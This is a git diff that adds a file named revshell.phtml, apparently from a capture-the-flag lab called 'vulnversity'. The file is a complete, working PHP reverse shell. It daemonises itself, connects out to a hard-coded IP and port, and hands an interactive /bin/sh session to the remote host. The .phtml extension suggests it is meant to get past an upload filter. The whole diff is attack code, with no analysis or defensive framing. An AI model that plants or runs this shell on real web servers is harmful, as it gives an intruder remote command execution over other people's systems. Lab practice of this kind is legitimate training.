1 files changed, 92 insertions, 0 deletions
diff --git a/vulnversity/revshell.phtml b/vulnversity/revshell.phtml
new file mode 100644
index 0000000..1170760
--- /dev/null
+++ b/vulnversity/revshell.phtml
@@ -0,0 +1,92 @@
+<?php
+set_time_limit (0);
+$VERSION = "1.0";
+$ip = '10.17.36.210';  // CHANGE THIS
+$port = 9999;       // CHANGE THIS
+$chunk_size = 1400;
+$write_a = null;
+$error_a = null;
+$shell = 'uname -a; w; id; /bin/sh -i';
+$daemon = 0;
+$debug = 0;
+
+if (function_exists('pcntl_fork')) {
+	$pid = pcntl_fork();
+	if ($pid == -1) {
+		printit("ERROR: Can't fork");
+		exit(1);
+	}
+	if ($pid) {
+		exit(0);
+	}
+	if (posix_setsid() == -1) {
+		printit("Error: Can't setsid()");
+		exit(1);
+	}
+	$daemon = 1;
+} else {
+	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
+}
+chdir("/");
+umask(0);
+$sock = fsockopen($ip, $port, $errno, $errstr, 30);
+if (!$sock) {
+	printit("$errstr ($errno)");
+	exit(1);
+}
+$descriptorspec = array(
+   0 => array("pipe", "r"),
+   1 => array("pipe", "w"),
+   2 => array("pipe", "w")
+);
+$process = proc_open($shell, $descriptorspec, $pipes);
+if (!is_resource($process)) {
+	printit("ERROR: Can't spawn shell");
+	exit(1);
+}
+stream_set_blocking($pipes[0], 0);
+stream_set_blocking($pipes[1], 0);
+stream_set_blocking($pipes[2], 0);
+stream_set_blocking($sock, 0);
+printit("Successfully opened reverse shell to $ip:$port");
+while (1) {
+	if (feof($sock)) {
+		printit("ERROR: Shell connection terminated");
+		break;
+	}
+	if (feof($pipes[1])) {
+		printit("ERROR: Shell process terminated");
+		break;
+	}
+	$read_a = array($sock, $pipes[1], $pipes[2]);
+	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
+	if (in_array($sock, $read_a)) {
+		if ($debug) printit("SOCK READ");
+		$input = fread($sock, $chunk_size);
+		if ($debug) printit("SOCK: $input");
+		fwrite($pipes[0], $input);
+	}
+	if (in_array($pipes[1], $read_a)) {
+		if ($debug) printit("STDOUT READ");
+		$input = fread($pipes[1], $chunk_size);
+		if ($debug) printit("STDOUT: $input");
+		fwrite($sock, $input);
+	}
+	if (in_array($pipes[2], $read_a)) {
+		if ($debug) printit("STDERR READ");
+		$input = fread($pipes[2], $chunk_size);
+		if ($debug) printit("STDERR: $input");
+		fwrite($sock, $input);
+	}
+}
+fclose($sock);
+fclose($pipes[0]);
+fclose($pipes[1]);
+fclose($pipes[2]);
+proc_close($process);
+function printit ($string) {
+	if (!$daemon) {
+		print "$string\n";
+	}
+}
+?>